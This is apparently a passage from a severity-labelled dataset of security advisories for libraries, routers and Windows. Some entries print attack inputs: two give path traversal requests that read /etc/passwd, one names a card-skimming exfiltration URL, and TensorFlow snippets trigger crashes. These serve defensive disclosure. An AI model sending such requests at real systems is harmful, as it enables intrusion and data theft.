coming-soon, and omniauth_amazon.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-20", "split": "train"}
-{"id": "aa5c5ad03a0eb789fbca", "text": "UUPSUpgradeable vulnerability in @openzeppelin/contracts\n\n### Impact\n\nUpgradeable contracts using `UUPSUpgradeable` may be vulnerable to an attack affecting uninitialized implementation contracts. We will update this advisory with more information soon.\n\n### Patches\n\nA fix is included in version 4.3.2 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\n\nInitialize implementation contracts using `UUPSUpgradeable` by invoking the initializer function (usually called `initialize`). An example is provided [in the forum](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301).\n\n### References\n\n[Post-mortem](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.", "text_raw": "UUPSUpgradeable vulnerability in @openzeppelin/contracts\n\n[Severity: CRITICAL]\n\n### Impact\n\nUpgradeable contracts using `UUPSUpgradeable` may be vulnerable to an attack affecting uninitialized implementation contracts. We will update this advisory with more information soon.\n\n### Patches\n\nA fix is included in version 4.3.2 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\n\nInitialize implementation contracts using `UUPSUpgradeable` by invoking the initializer function (usually called `initialize`). An example is provided [in the forum](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301).\n\n### References\n\n[Post-mortem](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-15", "split": "train"}
-{"id": "51c17fcc087f91ecd109", "text": "P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting", "text_raw": "P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-04-21", "split": "train"}
-{"id": "856b337d7cc6952f6ba0", "text": "URIjs Vulnerable to Hostname spoofing via backslashes in URL\n\n### Impact\nIf using affected versions to determine a URL's hostname, the hostname can be spoofed by using a combination of backslash (`\\`) and slash (`/`) characters as part of the scheme delimiter, e.g. `scheme:/\\/\\/\\hostname`. If the hostname is used in security decisions, the decision may be incorrect.\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.\n\nExample URL: `https:/\\/\\/\\expected-example.com/path`\nEscaped string: `https:/\\\\/\\\\/\\\\expected-example.com/path` (JavaScript strings must escape backslash)\n\nAffected versions incorrectly return no hostname. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the [WHATWG URL specification](https://url.spec.whatwg.org/), including web browsers and [Node's built-in URL class](https://nodejs.org/api/url.html).\n\n### Patches\nVersion 1.19.7 is patched against all known payload variants.\n\n### References\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.7 (fix for this particular bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.6 (fix for related bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.4 (fix for related bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.3 (fix for related bypass)\n[PR #233](https://github.com/medialize/URI.js/pull/233) (initial fix for backslash handling)\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in https://github.com/medialize/URI.js\n\n### Reporter credit\n[ready-research](https://github.com/ready-research) via https://huntr.dev/", "text_raw": "URIjs Vulnerable to Hostname spoofing via backslashes in URL \n\n[Severity: MEDIUM]\n\n### Impact\nIf using affected versions to determine a URL's hostname, the hostname can be spoofed by using a combination of backslash (`\\`) and slash (`/`) characters as part of the scheme delimiter, e.g. `scheme:/\\/\\/\\hostname`. If the hostname is used in security decisions, the decision may be incorrect.\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.\n\nExample URL: `https:/\\/\\/\\expected-example.com/path`\nEscaped string: `https:/\\\\/\\\\/\\\\expected-example.com/path` (JavaScript strings must escape backslash)\n\nAffected versions incorrectly return no hostname. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the [WHATWG URL specification](https://url.spec.whatwg.org/), including web browsers and [Node's built-in URL class](https://nodejs.org/api/url.html).\n\n### Patches\nVersion 1.19.7 is patched against all known payload variants.\n\n### References\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.7 (fix for this particular bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.6 (fix for related bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.4 (fix for related bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.3 (fix for related bypass)\n[PR #233](https://github.com/medialize/URI.js/pull/233) (initial fix for backslash handling)\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in https://github.com/medialize/URI.js\n\n### Reporter credit\n[ready-research](https://github.com/ready-research) via https://huntr.dev/", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-19", "split": "train"}
-{"id": "fba38306a889f0796e4d", "text": "websockets is vulnerable to denial of service by memory exhaustion\n\nThe Python websockets library version 4 contains a CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Servers and clients, unless configured with compression=None that can result in Denial of Service by memory exhaustion. This attack appears to be exploitable via sending a specially crafted frame on an established connection. This vulnerability appears to have been fixed in version 5.0", "text_raw": "websockets is vulnerable to denial of service by memory exhaustion\n\n[Severity: HIGH]\n\nThe Python websockets library version 4 contains a CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Servers and clients, unless configured with compression=None that can result in Denial of Service by memory exhaustion. This attack appears to be exploitable via sending a specially crafted frame on an established connection. This vulnerability appears to have been fixed in version 5.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "30ec6ee197c7ebef327c", "text": "ipip downloads Resources over HTTP\n\nAffected versions of `ipip` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the README states that the package is deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "ipip downloads Resources over HTTP\n\n[Severity: MEDIUM]\n\nAffected versions of `ipip` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the README states that the package is deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "0989518f09135ec62b2e", "text": "Loofah Cross-site Scripting vulnerability\n\nIn the Loofah gem for Ruby, through version 2.2.2, unsanitized JavaScript may occur in sanitized output when a crafted SVG element is republished. Users are advised to upgrade to version 2.2.3.\n\nSee https://github.com/flavorjones/loofah/issues/154 for more details.", "text_raw": "Loofah Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nIn the Loofah gem for Ruby, through version 2.2.2, unsanitized JavaScript may occur in sanitized output when a crafted SVG element is republished. Users are advised to upgrade to version 2.2.3.\n\nSee https://github.com/flavorjones/loofah/issues/154 for more details.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
-{"id": "131f3f761a2fe2d62c26", "text": "bson is vulnerable to denial of service due to incorrect regex validation\n\nBSON injection vulnerability in the legal function in BSON (bson-ruby) gem before 3.0.4 for Ruby allows remote attackers to cause a denial of service (resource consumption) or inject arbitrary data via a crafted string.", "text_raw": "bson is vulnerable to denial of service due to incorrect regex validation\n\n[Severity: CRITICAL]\n\nBSON injection vulnerability in the legal function in BSON (bson-ruby) gem before 3.0.4 for Ruby allows remote attackers to cause a denial of service (resource consumption) or inject arbitrary data via a crafted string.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "7d247848aa79c9b421ea", "text": "Cross-site Scripting in OpenNMS Horizon\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to Stored Cross-Site Scripting since there is no validation on the input being sent to the `name` parameter in `noticeWizard` endpoint. Due to this flaw an authenticated attacker could inject arbitrary script and trick other admin users into downloading malicious files.", "text_raw": "Cross-site Scripting in OpenNMS Horizon\n\n[Severity: MEDIUM]\n\nIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to Stored Cross-Site Scripting since there is no validation on the input being sent to the `name` parameter in `noticeWizard` endpoint. Due to this flaw an authenticated attacker could inject arbitrary script and trick other admin users into downloading malicious files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "e02c821b254859fc2d99", "text": "NUUO Remote Root Exploit", "text_raw": "NUUO Remote Root Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-08-06", "split": "train"}
-{"id": "41c7228a88f8f62aa0d0", "text": "twill is vulnerable to Cross-Site Request Forgery (CSRF)\n\ntwill is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "twill is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]\n\ntwill is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "0b427e2d037354cc14da", "text": "Directory Traversal in serveryaozeyan\n\nAffected versions of `serveryaozeyan` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serveryaozeyan\n\n[Severity: HIGH]\n\nAffected versions of `serveryaozeyan` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "64d19780fb58f569f9be", "text": "Prototype Pollution in nis-utils\n\nAll versions of package nis-utils up to and including 0.6.10 are vulnerable to Prototype Pollution via the setValue function.", "text_raw": "Prototype Pollution in nis-utils\n\n[Severity: CRITICAL]\n\nAll versions of package nis-utils up to and including 0.6.10 are vulnerable to Prototype Pollution via the setValue function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "d8966f2349d4943e0108", "text": "Uncontrolled Resource Consumption in urllib3\n\nThe _encode_invalid_chars function in util/url.py in the urllib3 library 1.25.2 through 1.25.7 for Python allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).", "text_raw": "Uncontrolled Resource Consumption in urllib3\n\n[Severity: HIGH]\n\nThe _encode_invalid_chars function in util/url.py in the urllib3 library 1.25.2 through 1.25.7 for Python allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "f8f5e518e187233e0bd1", "text": "Access Restriction Bypass in kube-apiserver\n\nA vulnerability in Kubernetes `kube-apiserver` could allow node updates to bypass a _Validating Admission Webhook_ and allow unauthorized node updates. The information that is provided to the admission controller could contain old configurations that overwrite values used for validation. Since the overwriting takes place before the validation, this could lead the admission controller to accept requests that should be blocked. The vulnerability can be exploited when an update action on node resources is performed and an admission controller is in place and configured to validate the action.\n\nUsers are only affected by this vulnerability if they are running a _Validating Admission Webhook_ for Nodes that denies admission based partially on the old state of the Node object. It only impacts validating admission plugins that rely on old values in certain fields and does not impact calls from kubelets that go through the built-in NodeRestriction admission plugin.", "text_raw": "Access Restriction Bypass in kube-apiserver\n\n[Severity: MEDIUM]\n\nA vulnerability in Kubernetes `kube-apiserver` could allow node updates to bypass a _Validating Admission Webhook_ and allow unauthorized node updates. The information that is provided to the admission controller could contain old configurations that overwrite values used for validation. Since the overwriting takes place before the validation, this could lead the admission controller to accept requests that should be blocked. The vulnerability can be exploited when an update action on node resources is performed and an admission controller is in place and configured to validate the action.\n\nUsers are only affected by this vulnerability if they are running a _Validating Admission Webhook_ for Nodes that denies admission based partially on the old state of the Node object. It only impacts validating admission plugins that rely on old values in certain fields and does not impact calls from kubelets that go through the built-in NodeRestriction admission plugin.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-28", "split": "train"}
-{"id": "2e278025532c7c35ef0a", "text": "Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability\n\nAffected: Tenda AC7, AC9, and AC10 Routers\n\nTenda AC7, AC9, and AC10 devices contain a command injection vulnerability due to  the \"formsetUsbUnload\" function executes a dosystemCmd function with untrusted input. Successful exploitation allows an attacker to execute OS commands via a crafted goform/setUsbUnload request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability\n\nAffected: Tenda AC7, AC9, and AC10 Routers\n\nTenda AC7, AC9, and AC10 devices contain a command injection vulnerability due to  the \"formsetUsbUnload\" function executes a dosystemCmd function with untrusted input. Successful exploitation allows an attacker to execute OS commands via a crafted goform/setUsbUnload request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "d8620255632e67f7b93a", "text": "Uncontrolled Resource Consumption in pillow\n\n### Impact\n_Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large._\n\n### Patches\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### Workarounds\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-27921\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)", "text_raw": "Uncontrolled Resource Consumption in pillow\n\n[Severity: MEDIUM]\n\n### Impact\n_Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large._\n\n### Patches\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### Workarounds\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-27921\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-23", "split": "train"}
-{"id": "00dfeb2c445100e5df1b", "text": "Withdrawn\n\nWithdrawn: duplicate of GHSA-wjr4-2jgw-hmv8", "text_raw": "Withdrawn\n\n[Severity: HIGH]\n\nWithdrawn: duplicate of GHSA-wjr4-2jgw-hmv8", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-03", "split": "train"}
-{"id": "12afdd673039c7106ad1", "text": "Downloads Resources over HTTP in native-opencv\n\nAffected versions of `native-opencv` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `native-opencv`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in native-opencv\n\n[Severity: HIGH]\n\nAffected versions of `native-opencv` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `native-opencv`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2015.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "868ab2e3093cfa97ce59", "text": "Directory Traversal in ewgaddis.lab6\n\nAffected versions of `ewgaddis.lab6` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in ewgaddis.lab6\n\n[Severity: HIGH]\n\nAffected versions of `ewgaddis.lab6` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "b17e28a2bfe96fd62c90", "text": "Remote Code Execution in electron\n\nAffected versions of `electron` may be susceptible to a remote code execution flaw when certain conditions are met:\n1. The electron application is running on Windows.\n2. The electron application registers as the default handler for a protocol, such as `nodeapp://`.\n\nThis vulnerability is caused by a failure to sanitize additional arguments to chromium in the command line handler for Electron.\n\nMacOS and Linux are not vulnerable.\n\n## Recommendation\n\nUpdate electron to a version that is not vulnerable. If updating is not possible, the electron team has provided the following guidance:\n\nIf for some reason you are unable to upgrade your Electron version, you can append `--` as the last argument when calling `app.setAsDefaultProtocolClient`, which prevents Chromium from parsing further options. The double dash `--` signifies the end of command options, after which only positional parameters are accepted.\n```\napp.setAsDefaultProtocolClient(protocol, process.execPath, [\n  '--your-switches-here',\n  '--'\n])\n```", "text_raw": "Remote Code Execution in electron\n\n[Severity: HIGH]\n\nAffected versions of `electron` may be susceptible to a remote code execution flaw when certain conditions are met:\n1. The electron application is running on Windows.\n2. The electron application registers as the default handler for a protocol, such as `nodeapp://`.\n\nThis vulnerability is caused by a failure to sanitize additional arguments to chromium in the command line handler for Electron.\n\nMacOS and Linux are not vulnerable.\n\n\n## Recommendation\n\nUpdate electron to a version that is not vulnerable. If updating is not possible, the electron team has provided the following guidance:\n\n\nIf for some reason you are unable to upgrade your Electron version, you can append `--` as the last argument when calling `app.setAsDefaultProtocolClient`, which prevents Chromium from parsing further options. The double dash `--` signifies the end of command options, after which only positional parameters are accepted.\n```\napp.setAsDefaultProtocolClient(protocol, process.execPath, [\n  '--your-switches-here',\n  '--'\n])\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-23", "split": "train"}
-{"id": "c92a4c7733688dfd812b", "text": "Malicious Package in pyramid-proportion\n\nVersion 1.0.5 of `pyramid-proportion` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider a downgrade to version 1.0.4.", "text_raw": "Malicious Package in pyramid-proportion\n\n[Severity: CRITICAL]\n\nVersion 1.0.5 of `pyramid-proportion` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider a downgrade to version 1.0.4.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cbfc0416d0b688e64b05", "text": "Microsoft Windows Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nUnspecified vulnerability allows for an authenticated user to escalate privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nUnspecified vulnerability allows for an authenticated user to escalate privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-17", "split": "train"}
-{"id": "211ced9b1128f53ee0cf", "text": "Use of Uninitialized Resource in truetype\n\nAn issue was discovered in the truetype crate before 0.30.1 for Rust. Attackers can read the contents of uninitialized memory locations via a user-provided Read operation within Tape::take_bytes.", "text_raw": " Use of Uninitialized Resource in truetype\n\n[Severity: HIGH]\n\nAn issue was discovered in the truetype crate before 0.30.1 for Rust. Attackers can read the contents of uninitialized memory locations via a user-provided Read operation within Tape::take_bytes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b21b09f6863314a5d203", "text": "Overflow/crash in `tf.range`\n\n### Impact\nWhile calculating the size of the output within the `tf.range` kernel, there is a conditional statement of type `int64 = condition ? int64 : double`. Due to C++ implicit conversion rules, both branches of the condition will be cast to `double` and the result would be truncated before the assignment. This result in overflows:\n\n```python\nimport tensorflow as tf\n\ntf.sparse.eye(num_rows=9223372036854775807, num_columns=None)\n```\n\nSimilarly, `tf.range` would result in crashes due to overflows if the start or end point are too large.\n\n```python\nimport tensorflow as tf\n\ntf.range(start=-1e+38, limit=1)\n```\n\n### Patches\nWe have patched the issue in GitHub commits [6d94002a09711d297dbba90390d5482b76113899](https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899) (merging [#51359](https://github.com/tensorflow/tensorflow/pull/51359)) and [1b0e0ec27e7895b9985076eab32445026ae5ca94](https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94) (merging [#51711](https://github.com/tensorflow/tensorflow/pull/51711)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46912), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46899) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46889).", "text_raw": "Overflow/crash in `tf.range`\n\n[Severity: MEDIUM]\n\n### Impact\nWhile calculating the size of the output within the `tf.range` kernel, there is a conditional statement of type `int64 = condition ? int64 : double`. Due to C++ implicit conversion rules, both branches of the condition will be cast to `double` and the result would be truncated before the assignment. This result in overflows:\n\n```python\nimport tensorflow as tf\n\ntf.sparse.eye(num_rows=9223372036854775807, num_columns=None)\n```\n  \nSimilarly, `tf.range` would result in crashes due to overflows if the start or end point are too large.\n\n```python\nimport tensorflow as tf\n\ntf.range(start=-1e+38, limit=1)\n```\n\n### Patches\nWe have patched the issue in GitHub commits [6d94002a09711d297dbba90390d5482b76113899](https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899) (merging [#51359](https://github.com/tensorflow/tensorflow/pull/51359)) and [1b0e0ec27e7895b9985076eab32445026ae5ca94](https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94) (merging [#51711](https://github.com/tensorflow/tensorflow/pull/51711)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46912), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46899) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46889).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "f13f69907bdfd2dd1e89", "text": "Python-saml allows manipulation of SAML data without invalidation of cryptographic signature\n\nOneLogin PythonSAML 2.3.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.", "text_raw": "Python-saml allows manipulation of SAML data without invalidation of cryptographic signature\n\n[Severity: HIGH]\n\nOneLogin PythonSAML 2.3.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "82c0248ee47c2da40a85", "text": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. A user is only affected if using the version out of the box with JDK 1.7u21 or below.  However, this scenario can be adjusted easily to an external Xalan that works regardless of the version of the Java runtime. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39139](https://x-stream.github.io/CVE-2021-39139.html).\n\n### Credits\nLai Han of nsfocus security team found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. A user is only affected if using the version out of the box with JDK 1.7u21 or below.  However, this scenario can be adjusted easily to an external Xalan that works regardless of the version of the Java runtime. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee 